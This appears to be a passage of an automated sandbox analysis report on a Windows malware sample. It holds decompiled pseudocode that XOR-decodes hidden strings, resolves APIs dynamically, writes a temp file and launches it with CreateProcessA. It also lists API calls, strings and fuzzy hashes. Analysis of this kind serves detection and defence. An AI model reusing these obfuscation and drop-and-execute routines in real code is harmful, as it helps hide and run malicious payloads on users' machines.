0x00401cf8
0x00401cf8
0x00401ca6
0x00401ca6
0x00401cb0
0x00401cb5
0x00401cb7
0x00401cb7
0x00401ca4
0x00401e4b
0x00401e4f
0x00401c04
0x00000000
0x00401c04
0x00000000
0x00401e4f
0x00401e63
0x00000000
0x00401bda
0x00401bf1
0x00401bf1
0x00401bd8

APIs

GetProcessHeap.KERNEL32(00000000,00080000), ref: 00401BC5
HeapAlloc.KERNEL32(00000000), ref: 00401BCC
Sleep.KERNEL32(000493E0), ref: 00401C28
Sleep.KERNEL32(000003E8), ref: 00401C4B
GetTempPathA.KERNEL32(00000104,?), ref: 00401D10
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00401D2D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401D5A
WriteFile.KERNEL32(00000000,00000007,?,?,00000000), ref: 00401D7B
CloseHandle.KERNEL32(00000000), ref: 00401D93
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401DD0
CloseHandle.KERNEL32(?), ref: 00401DDF
CloseHandle.KERNEL32(?), ref: 00401DED
GetProcessHeap.KERNEL32(00000000,?), ref: 00401E5C
HeapFree.KERNEL32(00000000), ref: 00401E63

Strings

v, xrefs: 00401A33
U, xrefs: 00401AA7
', xrefs: 004019B7
}, xrefs: 00401A5E
P, xrefs: 00401A89
0, xrefs: 004019D5
Y, xrefs: 004019A3
:, xrefs: 0040199E
r, xrefs: 00401B00
-, xrefs: 00401A71
4, xrefs: 004019BC
,, xrefs: 00401B7E
;, xrefs: 00401B30
G@,, xrefs: 0040196C
B, xrefs: 00401A7A
c, xrefs: 00401A02
{, xrefs: 00401999
\, xrefs: 00401A0C
z, xrefs: 004019CB
2, xrefs: 004019F3
T, xrefs: 00401A9D
S, xrefs: 00401A29
e, xrefs: 00401AA2
N, xrefs: 00401A6C
C, xrefs: 00401A8E
D, xrefs: 00401DBD
I, xrefs: 00401A54
@, xrefs: 00401ACF
K, xrefs: 00401A98
A, xrefs: 00401A46
^, xrefs: 00401B76
p, xrefs: 00401A4F
+, xrefs: 00401B5F
y, xrefs: 00401A07

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$CloseFileHandleProcess$CreateSleepTemp$AllocFreeNamePathWrite
String ID: '$+$,$-$0$2$4$:$;$@$A$B$C$D$G@,$I$K$N$P$S$T$U$Y$\$^$c$e$p$r$v$y$z${$}
API String ID: 633426975-3165140541
Opcode ID: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction ID: e6c0c0694c561dc4f23d5baa3025b2d471003fa36f15fb022360e7d662cf5cb9
Opcode Fuzzy Hash: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction Fuzzy Hash: B7E16B3014C7C18EE321CB789848B9BBFD46BA6324F185A5DF2E48B2E2C7B58405D767

Uniqueness

Uniqueness Score: -1.00%

Function 00423870, Relevance: 82.7, APIs: 1, Strings: 54, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00423870(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v10;
				signed char _v11;
				signed char _v12;
				signed char _v13;
				signed char _v14;
				signed char _v15;
				signed char _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v124;
				intOrPtr _t146;
				void* _t147;
				intOrPtr* _t148;
				void* _t149;
				void* _t156;
				int _t169;
				void* _t173;
				signed char _t181;
				char* _t182;
				signed int _t186;
				void* _t189;
				void* _t192;
				void* _t195;

				_t146 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t146;
				_v76 = 0xd9;
				_v75 = 0x18;
				_v74 = 0x66;
				_v73 = 0x9f;
				_v72 = 0x83;
				_v71 = 3;
				_v70 = 0xb8;
				_v69 = 0x91;
				_v68 = 0xe;
				_v67 = 0xe7;
				_v66 = 0x7b;
				_v65 = 0x7f;
				_v64 = 0x8c;
				_v63 = 0x43;
				_v62 = 0x5b;
				_v61 = 0xb2;
				_v60 = 0x81;
				_v59 = 0xb0;
				_v58 = 0xce;
				_v57 = 0x2f;
				_v56 = 0x62;
				_v55 = 0;
				_v54 = 0xa2;
				_v53 = 0xa1;
				_v52 = 0xab;
				_v51 = 0x81;
				_v50 = 0xdb;
				_v49 = 0xd1;
				_v48 = 0x4b;
				_v47 = 0xcb;
				_v46 = 0x45;
				_v45 = 0x7a;
				_v44 = 0x78;
				_v43 = 0x55;
				_v42 = 0x63;
				_v41 = 0xc;
				_v40 = 0xa4;
				_v39 = 0x31;
				_v38 = 0x98;
				_v37 = 0xc9;
				_v36 = 0x10;
				_v120 = 0x29;
				_v119 = 0xc;
				_v118 = 0x3c;
				_v117 = 0xe;
				_v116 = 0x56;
				_v115 = 0x73;
				_v114 = 0x43;
				_v113 = 0x71;
				_v112 = 0x29;
				_v111 = 0xc;
				_v110 = 0x3c;
				_v109 = 0xe;
				_v108 = 0x56;
				_v107 = 0x73;
				_v106 = 0x43;
				_v105 = 0x71;
				_v104 = 0x29;
				_v103 = 0xc;
				_v102 = 0x3c;
				_v101 = 0xe;
				_v100 = 0x56;
				_v99 = 0x73;
				_v98 = 0x43;
				_v97 = 0x71;
				_v96 = 0x29;
				_v95 = 0xc;
				_v94 = 0x3c;
				_v93 = 0xe;
				_v92 = 0x56;
				_v91 = 0x73;
				_v90 = 0x43;
				_v89 = 0x71;
				_v88 = 0x29;
				_v87 = 0xc;
				_v86 = 0x3c;
				_v85 = 0xe;
				_v84 = 0x56;
				_v83 = 0x73;
				_v82 = 0x43;
				_v81 = 0x71;
				_v80 = 0x29;
				_t186 = 0x1f2;
				_t147 = 0;
				do {
					_t186 = 0x0000006c - _t186 - 0x0000001a & _t186 | 0x0000004e;
					_t181 =  *(_t195 + _t147 - 0x73) ^  *(_t195 + _t147 - 0x74);
					_t147 = _t147 + 1;
					 *(_t195 + _t147 - 0x49) = _t181;
				} while (_t147 < 0x28);
				_push(__esi);
				_t189 = 0xa;
				 *((char*)(_t195 + _t147 - 0x48)) = 0;
				_v32 = 0x85;
				_v31 = 3;
				_v30 = 0x1b;
				_v29 = 0xe3;
				_v28 = 0xc5;
				_v27 = 0x5d;
				_v26 = 0x4a;
				_v25 = 0x73;
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v20 = 0x1d;
				_v19 = 0x74;
				_v18 = 0xed;
				_v17 = 0x1f;
				_v16 = 0xf;
				_v15 = 0x75;
				_v14 = 0x79;
				_v13 = 0x5c;
				_v12 = 0xa3;
				_v11 = 0x6c;
				_v10 = 0xdf;
				_t192 = 0;
				do {
					_t148 = _t195 + _t192 - 0x10;
					_t182 = _t195 + _t189 - 0x10;
					_t192 = _t192 + 1;
					_t189 = _t189 - 1;
					 *_t148 =  *_t182;
					 *_t182 =  *_t148;
				} while (_t192 < _t189);
				_t149 = 0;
				 *0x432014 = 0x70;
				_pop(_t173);
				do {
					_t183 =  *(_t195 + _t149 - 0x10);
					 *(_t195 + _t149 - 0x1c) =  *(_t195 + _t149 - 0x1c) ^  *(_t195 + _t149 - 0x10);
					_t149 = _t149 + 1;
				} while (_t149 < 0xb);
				E00423D15(_t173, _t183, _t189, _t192,  &_v20);
				_v124 = E004237F6(_t192);
				E00425FD0( &_v14,  &_v124, 4);
				_t156 = 0;
				do {
					 *(_t195 + _t156 - 0x10) =  *(_t195 + _t156 - 0x10) ^  *(_t195 + _t156 - 0x1c);
					_t156 = _t156 + 1;
				} while (_t156 < 0xa);
				E00425F70(0x431ff4, 0, 0x20);
				_t169 = wsprintfA(0x431ff4,  &_v76, _v20 & 0x000000ff, _v19 & 0x000000ff, _v18 & 0x000000ff, _v17 & 0x000000ff, _v16 & 0x000000ff, _v15 & 0x000000ff, _v14 & 0x000000ff, _v13 & 0x000000ff, _v12 & 0x000000ff, _v11 & 0x000000ff);
				 *0x432018 = 1;
				return E00424873(_t169, _v8);
			}

0x00423876
0x0042387b
0x0042387e
0x00423882
0x00423886
0x0042388a
0x0042388e
0x00423892
0x00423896
0x0042389a
0x0042389e
0x004238a2
0x004238a6
0x004238aa
0x004238ae
0x004238b2
0x004238b6
0x004238ba
0x004238be
0x004238c2
0x004238c6
0x004238ca
0x004238ce
0x004238d2
0x004238d6
0x004238da
0x004238de
0x004238e2
0x004238e6
0x004238ea
0x004238ee
0x004238f2
0x004238f6
0x004238fa
0x004238fe
0x00423902
0x00423906
0x0042390a
0x0042390e
0x00423912
0x00423916
0x0042391a
0x0042391e
0x00423922
0x00423926
0x0042392a
0x0042392e
0x00423932
0x00423936
0x0042393a
0x0042393e
0x00423942
0x00423946
0x0042394a
0x0042394e
0x00423952
0x00423956
0x0042395a
0x0042395e
0x00423962
0x00423966
0x0042396a
0x0042396e
0x00423972
0x00423976
0x0042397a
0x0042397e
0x00423982
0x00423986
0x0042398a
0x0042398e
0x00423992
0x00423996
0x0042399a
0x0042399e
0x004239a2
0x004239a6
0x004239aa
0x004239ae
0x004239b2
0x004239b6
0x004239ba
0x004239be
0x004239c2
0x004239c6
0x004239cb
0x004239cd
0x004239dc
0x004239e2
0x004239e6
0x004239ea
0x004239ea
0x004239f0
0x004239f4
0x004239f5
0x004239fa
0x004239fe
0x00423a02
0x00423a06
0x00423a0a
0x00423a0e
0x00423a12
0x00423a16
0x00423a1a
0x00423a1e
0x00423a22
0x00423a26
0x00423a2a
0x00423a2e
0x00423a32
0x00423a36
0x00423a3a
0x00423a3e
0x00423a42
0x00423a46
0x00423a4a
0x00423a4e
0x00423a52
0x00423a55
0x00423a55
0x00423a5b
0x00423a61
0x00423a62
0x00423a65
0x00423a67
0x00423a67
0x00423a6b
0x00423a6d
0x00423a74
0x00423a75
0x00423a75
0x00423a79
0x00423a7d
0x00423a7e
0x00423a87
0x00423a91
0x00423a9e
0x00423aa6
0x00423aa8
0x00423aac
0x00423ab0
0x00423ab1
0x00423ac0
0x00423afc
0x00423b09
0x00423b1a

APIs

wsprintfA.USER32 ref: 00423AFC

Strings

\, xrefs: 00423A42
), xrefs: 00423942
V, xrefs: 004239B2
x, xrefs: 004238FE
C, xrefs: 0042393A
s, xrefs: 00423956
<, xrefs: 0042398A
C, xrefs: 004239BA
s, xrefs: 00423936
), xrefs: 00423922
q, xrefs: 0042395E
q, xrefs: 0042397E
s, xrefs: 00423A16
/, xrefs: 004238CA
), xrefs: 004239C2
f, xrefs: 00423886
s, xrefs: 00423976
<, xrefs: 0042392A
[, xrefs: 004238B6
E, xrefs: 004238F6
z, xrefs: 004238FA
1, xrefs: 00423912
V, xrefs: 00423972
C, xrefs: 0042395A
l, xrefs: 00423A4A
), xrefs: 00423962
y, xrefs: 00423A3E
j, xrefs: 00423A1E
s, xrefs: 004239B6
t, xrefs: 00423A2A
V, xrefs: 00423952
), xrefs: 00423982
<, xrefs: 004239AA
<, xrefs: 0042394A
C, xrefs: 0042399A
s, xrefs: 00423996
G@,, xrefs: 00423876
{, xrefs: 004238A6
<, xrefs: 0042396A
q, xrefs: 0042393E
), xrefs: 004239A2
C, xrefs: 0042397A
K, xrefs: 004238EE
V, xrefs: 00423932
J, xrefs: 00423A12
q, xrefs: 0042399E
q, xrefs: 004239BE
C, xrefs: 004238B2
c, xrefs: 00423906
V, xrefs: 00423992
], xrefs: 00423A0E
b, xrefs: 004238CE
u, xrefs: 00423A3A
U, xrefs: 00423902

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: wsprintf
String ID: )$)$)$)$)$)$/$1$<$<$<$<$<$C$C$C$C$C$C$E$G@,$J$K$U$V$V$V$V$V$[$\$]$b$c$f$j$l$q$q$q$q$q$s$s$s$s$s$s$t$u$x$y$z${
API String ID: 2111968516-3446174619
Opcode ID: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction ID: b8cea7b21e1b0b0dd3eef741e46aff7ac42a2e861af7119df59345f413ed0d70
Opcode Fuzzy Hash: 2b5871d10edba0c0daadef3549677835c7a0ea46b4b24e0847e491320e849e80
Instruction Fuzzy Hash: 2BB1E810D0C7D999EB22C2FC94587DEBFB50F27318F580299D5E47B2D2C2AA0249C77A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA67, Relevance: 82.4, APIs: 5, Strings: 42, Instructions: 185
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0041DA67(void* __eax, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a140, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, intOrPtr _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
					__eax =  &(__eax[1]);
				} while (__eax < 0xb);
				__eax =  &_a140;
				__eax = GetProcAddress(__edi,  &_a140);
				 *0x431f0c = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__ecx =  &_a56;
					_push(0x12);
					_push( &_a56);
					__eax =  &_a76;
					_a56 = 0x2b;
					_a57 = 0x7e;
					_a58 = 0x14;
					_a59 = 0xc5;
					_a60 = 0x31;
					_a61 = 0x22;
					_a62 = 0x49;
					_a63 = 0xdc;
					_a64 = 0xd8;
					_a65 = 0x8b;
					_a66 = 0xed;
					_a67 = 0x54;
					_a68 = 0xbb;
					_a69 = 0xba;
					_a70 = 0x48;
					_a71 = 0xbb;
					_a72 = 0xa1;
					_a73 = 0x26;
					_a76 = 0x26;
					_a77 = 0xc4;
					_a78 = 0xde;
					_a79 = 0x3a;
					_a80 = 0xfc;
					_a81 = 0xcf;
					_a82 = 0x27;
					_a83 = 0x84;
					_a84 = 0xc7;
					_a85 = 0xbc;
					_a86 = 0xae;
					_a87 = 0x26;
					_a88 = 0x41;
					_a89 = 0x54;
					_a90 = 0x97;
					_a91 = 0x67;
					_a92 = 0x10;
					_a93 = 0x6f;
					__eax = E0041C580( &_a76);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					 *0x431f10 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
						__edx =  &_a40;
						__ecx =  &_a164;
						__edx = 0xb;
						_a40 = 0x6d;
						_a41 = 0x96;
						_a42 = 0x80;
						_a43 = 6;
						_a44 = 0xa9;
						_a45 = 0x60;
						_a46 = 0x53;
						_a47 = 0xb;
						_a48 = 0xec;
						_a49 = 0xb1;
						_a50 = 0xd3;
						_a164 = 0xc8;
						_a165 = 0x9d;
						_a166 = 0xee;
						_a167 = 0x8b;
						_a168 = 0xf9;
						_a169 = 0xca;
						_a170 = 0xf8;
						_a171 = 0xd6;
						_a172 = 0x92;
						_a173 = 0xde;
						_a174 = 0x92;
						__eax = E0041C4C0(__ecx, 0xb,  &_a40);
						__eax = LoadLibraryA(__eax);
						__edi = __eax;
						if(__edi == 0) {
							goto L1;
						} else {
							__eax =  &_a152;
							_push(0xa);
							_push( &_a152);
							__eax =  &_a204;
							_a152 = 0x37;
							_a153 = 0x3b;
							_a154 = 0x8f;
							_a155 = 0x69;
							_a156 = 0x24;
							_a157 = 0x7f;
							_a158 = 0x60;
							_a159 = 0xe9;
							_a160 = 0xec;
							_a161 = 0x4c;
							_a204 = 0x4c;
							_a205 = 0xad;
							_a206 = 0x8f;
							_a207 = 0x14;
							_a208 = 0x11;
							_a209 = 0x4d;
							_a210 = 0x1b;
							_a211 = 0xff;
							_a212 = 0x48;
							_a213 = 0x40;
							__eax = E0041C580( &_a204);
							__esp = __esp + 8;
							__eax = GetProcAddress(__edi, __eax);
							 *0x431f14 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								__ecx =  &_a56;
								__ecx =  &_a76;
								__edx = 0x12;
								_a56 = 0x75;
								_a57 = 6;
								_a58 = 0xcc;
								_a59 = 0x8b;
								_a60 = 0x4c;
								_a61 = 0xb8;
								_a62 = 0x36;
								_a63 = 0x4d;
								_a64 = 0x1e;
								_a65 = 0x53;
								_a66 = 0xb7;
								_a67 = 0x58;
								_a68 = 0xd4;
								_a69 = 0xa5;
								_a70 = 0xf1;
								_a71 = 0xd3;
								_a72 = 0x12;
								_a73 = 0x39;
								_a76 = 0x4a;
								_a77 = 0x19;
								_a78 = 0x7c;
								_a79 = 8;
								_a80 = 0x5f;
								_a81 = 0x36;
								_a82 = 0x58;
								_a83 = 0x3c;
								_a84 = 0x53;
								_a85 = 0x24;
								_a86 = 0x57;
								_a87 = 0x1f;
								_a88 = 0x70;
								_a89 = 0x1f;
								_a90 = 0x74;
								_a91 = 0x31;
								_a92 = 0x49;
								_a93 = 8;
								__eax = E0041C4C0( &_a76, 0x12,  &_a56);
								__eax = GetProcAddress(__edi, __eax);
								__edx = 0;
								_t130 = __eax != 0;
								__edx = 0 | _t130;
								 *0x431f18 = __eax;
								__eax = _t130;
								__ecx = _a336;
								_pop(__edi);
								__eax = E00424873(__eax, _a336);
								__esp = __esp + 0x144;
								return __eax;
							}
						}
					}
				}
			}

0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x0041c80f
0x0041c827
0x0041da96
0x0041da96
0x0041da9a
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041dddf
0x0041dce7
0x0041dc1d
0x0041db69

APIs

GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041DC17
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DCDE
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DDB9

Strings

`, xrefs: 0041DB99
I, xrefs: 0041DDA5
<, xrefs: 0041DD78
@, xrefs: 0041DCCC
6, xrefs: 0041DD19
T, xrefs: 0041DB3D
W, xrefs: 0041DD87
~, xrefs: 0041DAA8
M, xrefs: 0041DD1E
S, xrefs: 0041DD7D
p, xrefs: 0041DD91
7, xrefs: 0041DC34
9, xrefs: 0041DD50
&, xrefs: 0041DAF8
I, xrefs: 0041DAC1
H, xrefs: 0041DCC4
T, xrefs: 0041DADA
1, xrefs: 0041DDA0
L, xrefs: 0041DC84
;, xrefs: 0041DC3C
$, xrefs: 0041DD82
|, xrefs: 0041DD5F
g, xrefs: 0041DB47
S, xrefs: 0041DB9E
S, xrefs: 0041DD28
u, xrefs: 0041DCFB
M, xrefs: 0041DCAC
o, xrefs: 0041DB51
X, xrefs: 0041DD73
L, xrefs: 0041DC7C
L, xrefs: 0041DD0F
1, xrefs: 0041DAB7
J, xrefs: 0041DD55
t, xrefs: 0041DD9B
`, xrefs: 0041DC64
$, xrefs: 0041DC54
_, xrefs: 0041DD69
X, xrefs: 0041DD32
H, xrefs: 0041DAE9
i, xrefs: 0041DC4C
m, xrefs: 0041DB80
6, xrefs: 0041DD6E

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $$$$&$1$1$6$6$7$9$;$<$@$H$H$I$I$J$L$L$L$M$M$S$S$S$T$T$W$X$X$_$`$`$g$i$m$o$p$t$u$|$~
API String ID: 2238633743-2441341231
Opcode ID: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction ID: f0a6fbca38eaa9f6d36dd2073cba8300d351a760273fb7828a6aeea559b7586c
Opcode Fuzzy Hash: e2dc3851afeb3bcb58ee0b1189764dea58b54e676dc674a3f0b7cb1962383261
Instruction Fuzzy Hash: B9A1762010C7C1CDD332D27D984879FBFD11BA3368F484A9DA1E85A2D2D7AA8549C777

Uniqueness

Uniqueness Score: -1.00%

Function 0041F250, Relevance: 80.8, APIs: 9, Strings: 37, Instructions: 270
memoryprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F250(intOrPtr __ecx) {
				intOrPtr _v8;
				char _v46;
				char _v47;
				char _v49;
				char _v50;
				char _v51;
				char _v53;
				char _v54;
				char _v55;
				char _v57;
				char _v58;
				char _v59;
				char _v61;
				char _v62;
				char _v63;
				char _v65;
				char _v66;
				char _v67;
				char _v69;
				char _v70;
				char _v71;
				char _v73;
				char _v74;
				char _v75;
				char _v77;
				char _v78;
				char _v79;
				char _v81;
				char _v82;
				char _v83;
				struct _STARTUPINFOA _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v153;
				char _v154;
				char _v155;
				char _v157;
				char _v158;
				char _v159;
				char _v161;
				char _v162;
				char _v163;
				struct _PROCESS_INFORMATION _v164;
				intOrPtr _v168;
				intOrPtr _t165;
				void* _t169;
				intOrPtr _t175;
				void* _t176;
				unsigned int _t177;
				void* _t205;
				void _t215;
				void _t216;
				signed int _t218;
				short _t232;
				int _t236;
				short* _t240;
				void* _t242;
				short _t251;
				short _t252;
				void* _t255;
				intOrPtr _t256;
				signed int _t259;
				void* _t261;

				_t261 = (_t259 & 0xfffffff8) - 0xa4;
				_t165 =  *0x4310d8; // 0x2c0d4047
				_t251 =  *0x431f38; // 0x2d2c
				_v8 = _t165;
				_v168 = __ecx;
				_t236 = 0;
				_v104 = 0x54;
				_v103 = 0x2c;
				_v102 = 0x7c;
				_v101 = 0xc;
				_v100 = 0x12;
				_v99 = 0x7c;
				_v98 = 0x2c;
				_v97 = 0xe7;
				_v96 = 0x50;
				_v95 = 0x8d;
				_v94 = 0x53;
				_v93 = 0x29;
				_v92 = 0xa2;
				_v91 = 0xa8;
				_v90 = 0x4e;
				_v89 = 0x45;
				_v88 = 0xc5;
				_v164.hProcess = 0x14;
				_v163 = 0x44;
				_v162 = 0xfe;
				_v161 = 0x60;
				_v164.hThread = 0x22;
				_v159 = 0xb8;
				_v158 = 0xd;
				_v157 = 0x7c;
				_v164.dwProcessId = 0xe1;
				_v155 = 0xa7;
				_v154 = 0xf;
				_v153 = 0xe;
				_v164.dwThreadId = 0x8c;
				_v151 = 0xbd;
				_v150 = 0x2a;
				_v149 = 0x20;
				_v148 = 0x3b;
				_t252 = _t251 + 0x73d;
				do {
					 *((intOrPtr*)(_t261 + _t236 + 0x4c)) =  *((intOrPtr*)(_t261 + _t236 + 0x4c)) +  *((intOrPtr*)(_t261 + _t236 + 0x10));
					_t236 = _t236 + 1;
				} while (_t236 < 0x11);
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v117 = 0x2c;
				_v136 = 0x50;
				_v123 = 0x50;
				_v108 = 0x4f;
				_v77 = 0x4f;
				_v144 = 0x54;
				_v141 = 0xc;
				_v140 = 0x12;
				_v137 = 0xe7;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v128 = 0xc5;
				_v127 = 0x81;
				_v126 = 9;
				_v125 = 0xb3;
				_v124 = 0xdc;
				_v122 = 0x2a;
				_v121 = 0xc2;
				_v120 = 5;
				_v119 = 0x69;
				_v118 = 0x76;
				_v116 = 0x20;
